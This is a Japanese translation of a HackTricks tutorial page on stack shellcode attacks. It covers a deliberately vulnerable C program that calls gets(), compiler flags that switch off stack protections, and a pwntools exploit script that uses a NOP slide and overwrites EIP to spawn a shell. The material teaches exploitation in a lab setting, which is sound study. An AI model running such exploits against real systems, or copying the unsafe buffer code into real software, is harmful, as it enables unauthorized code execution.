hacktricks/binary-exploitation/stack-overflow/stack-shellcode
2024-04-10 15:35:22 +00:00
..
README.md Translated ['binary-exploitation/heap/README.md', 'binary-exploitation/h 2024-04-10 15:35:22 +00:00
stack-shellcode-arm64.md Translated ['README.md', 'binary-exploitation/common-binary-protections- 2024-04-09 00:25:06 +00:00

スタックシェルコード

htARTEHackTricks AWS Red Team Expert でAWSハッキングをゼロからヒーローまで学びましょう

HackTricks をサポートする他の方法:

基本情報

スタックシェルコードは、バイナリエクスプロイテーションで使用される技術で、攻撃者が脆弱なプログラムのスタックにシェルコードを書き込み、その後 命令ポインタIP または 拡張命令ポインタEIP をこのシェルコードの場所を指すように変更することで、実行させることを意味します。これは、不正なアクセスを得たり、ターゲットシステムで任意のコマンドを実行するために使用される古典的な方法です。ここでは、このプロセスの詳細と、簡単なCの例、および pwntools を使用して対応するエクスプロイトをPythonで書く方法を紹介します。

Cの例: 脆弱なプログラム

まず、脆弱なCプログラムの簡単な例から始めましょう

#include <stdio.h>
#include <string.h>

void vulnerable_function() {
char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow
}

int main() {
vulnerable_function();
printf("Returned safely\n");
return 0;
}

このプログラムは、gets() 関数の使用によりバッファオーバーフローの脆弱性があります。

コンパイル

このプログラムをコンパイルする際に、さまざまな保護を無効にして(脆弱な環境をシミュレートするために)、次のコマンドを使用できます:

gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
  • -fno-stack-protector: スタック保護を無効にします。
  • -z execstack: スタックを実行可能にし、スタックに保存されたシェルコードを実行するために必要です。
  • -no-pie: 位置独立実行可能ファイルを無効にし、シェルコードが配置されるメモリアドレスを予測しやすくします。
  • -m32: プログラムを32ビット実行可能ファイルとしてコンパイルし、しばしばエクスプロイト開発のためにシンプルに使用されます。

Pwntoolsを使用したPythonエクスプロイト

以下は、pwntoolsを使用してPythonでエクスプロイトを記述し、ret2shellcode攻撃を実行する方法です。

from pwn import *

# Set up the process and context
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
context.arch = 'i386' # Specify the architecture

# Generate the shellcode
shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell

# Find the offset to EIP
offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash

# Prepare the payload
# The NOP slide helps to ensure that the execution flow hits the shellcode.
nop_slide = asm('nop') * (offset - len(shellcode))
payload = nop_slide + shellcode
payload += b'A' * (offset - len(payload))  # Adjust the payload size to exactly fill the buffer and overwrite EIP
payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide

# Send the payload
p.sendline(payload)
p.interactive()

このスクリプトは、NOPスライドシェルコード、そしてEIPをNOPスライドを指すアドレスで上書きして、シェルコードが実行されるようにペイロードを構築します。

NOPスライド (asm('nop')) は、実行が正確なアドレスに関係なくシェルコードに「スライド」する可能性を高めるために使用されます。p32()の引数を、NOPスライドに着地するためのバッファの開始アドレスにオフセットを加えて調整してください。

保護

  • ASLR無効にする必要があります。そうしないと、関数が格納されるアドレスが常に同じでなくなり、win関数がどこにロードされているかを特定するためには何らかのリークが必要になります。
  • スタックキャニオン も無効にする必要があります。そうしないと、侵害されたEIP戻りアドレスは決して実行されません。
  • NX スタック保護は、その領域が実行不可能であるため、スタック内のシェルコードの実行を防ぎます。

他の例と参考文献